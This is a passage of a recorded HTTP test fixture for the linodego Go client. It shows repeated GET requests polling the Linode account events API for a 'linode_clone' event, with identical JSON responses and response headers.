'{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": null, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "scheduled", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "546" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": null, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "scheduled", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "546" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": null, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "scheduled", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "546" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": null, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "scheduled", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "546" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": null, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "scheduled", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "546" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": null, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "scheduled", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "546" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": null, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "scheduled", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "546" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": null, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "scheduled", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "546" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": null, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "scheduled", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "546" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": null, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "scheduled", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "546" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": null, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "scheduled", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "546" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": null, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "scheduled", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "546" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": null, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "scheduled", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "546" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": null, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "scheduled", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "546" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": null, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "scheduled", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "546" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": null, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "scheduled", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "546" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": null, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "scheduled", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "546" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": null, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 